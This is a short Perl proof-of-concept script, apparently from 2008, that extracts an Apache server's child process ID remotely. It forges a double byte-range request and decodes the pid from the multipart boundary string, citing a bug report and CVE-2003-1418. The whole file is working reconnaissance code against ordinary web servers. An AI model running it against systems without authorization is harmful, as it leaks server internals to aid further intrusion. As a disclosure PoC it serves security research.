#!/usr/bin/perl -l

# retrieve apache pid - remote
# http://ralf.stormbind.net/wp-content/uploads/2008/05/retrieve-remote-apache-pid.txt
#
# works only with static files (no php/cgi/..).
# the size of the requested file does not matter.
# only http headers are transfered which are mostly smaller
# then 1k bytes per request.
# 
# tested with apache version 1 and 2.
#
# closed bug-report:
#   http://issues.apache.org/bugzilla/show_bug.cgi?id=43977
#
# maybe also interesting:
#   http://xforce.iss.net/xforce/xfdb/11438
#   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
#   http://www.openbsd.org/errata32.html#httpd 
# 
#
# example usage:
#
# perl retrieve-remote-apache-pid.pl http://localhost/static.html | xargs ps -fp
# UID        PID  PPID  C STIME TTY          TIME CMD
# www-data  2454  2445  0 15:17 ?        00:00:00 /usr/sbin/apache
#
# example usage in a loop to get all/most of the apache pids:
# (this sends 10 requests to the server)
#
# perl retrieve-remote-apache-pid.pl $(perl -e 'print "http://localhost/autoconf.html " x 10') | sort -sun
# 

use strict;
use warnings;
use Math::BigInt;
use LWP::UserAgent;
use Time::Local;
	
#
# Apache's version is importend for the pid extraction.
#
# Default is version 2.
#
# change it here if the server does not respond a version number.
#
my $default_apache_version = 2;

if (! scalar(@ARGV)) {
	print 'usage: '.$0.' uri [uri ..]';
	exit or die;
}

my $ua = LWP::UserAgent->new();
$ua->agent ('ELinks/0.11.1-1.2etch1-debian (textmode; Linux 2.6.18-5-686 i686; 80x25-2');

while (my $uri = shift(@ARGV)) {
	#
	# avoid some kind of DoS
	#
	sleep(1);
	
	my $apache_version = $default_apache_version;
	
	my $req = HTTP::Request->new(GET => $uri);
	#
	# Enforce a multipart response containing the boundary.
	# The boundary contains the request-time and the pid
	# of the child process which serves the request.
	#
	# Ensure we are not transfering the whole file.
	#
	$req->header(Range => 'bytes=0-0,0-0');

	my $res = $ua->request($req);

	next if $res->code() != 206;

	if ($res->header('Server')=~ /^[aA]pache\/([.\d]+)/o) {
		$apache_version = $1;
	}

	my $req_time = 0;

	#
	# Sat, 17 May 2008 13:21:48 GMT
	#
	if ($res->header('Date')=~ /^[A-Z][a-z]{2}, (\d\d) ([A-Z][a-z]{2}) (\d{4}) (\d\d):(\d\d):(\d\d) GMT$/o)
	{
		my @tmp = qw(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec);
		my %mon;
		while (my $m = shift(@tmp)){
			$mon{$m}=(11 - @tmp);
		}
		
		$req_time = timegm($6, $5, $4, $1, $mon{$2}, $3);

		if ($apache_version!~ /^1/o) {
			#
			# apache version > 1:
			# 	request time in microseconds
			#
			$req_time .= '000000';
		};
	}

	(my $req_time_hex = Math::BigInt->new($req_time)->as_hex()) =~ s/^0x//o;

	print $res->header('Content-Type');

	my $rx = 'multipart\/byteranges; boundary=[a-fA-F0-9]{'.length($req_time_hex).'}([a-fA-F0-9]+)';
	if ($res->header('Content-Type')=~ /^$rx$/)
	{
		#
		# httpd-2.2.8/modules/http/byterange_filter.c:
		# 	ctx->boundary = apr_psprintf(
		# 		r->pool,
		# 		"%" APR_UINT64_T_HEX_FMT "%lx",
		# 		(apr_uint64_t)r->request_time,
		# 		(long) getpid());
		#
		#
		print hex($1);
	}
}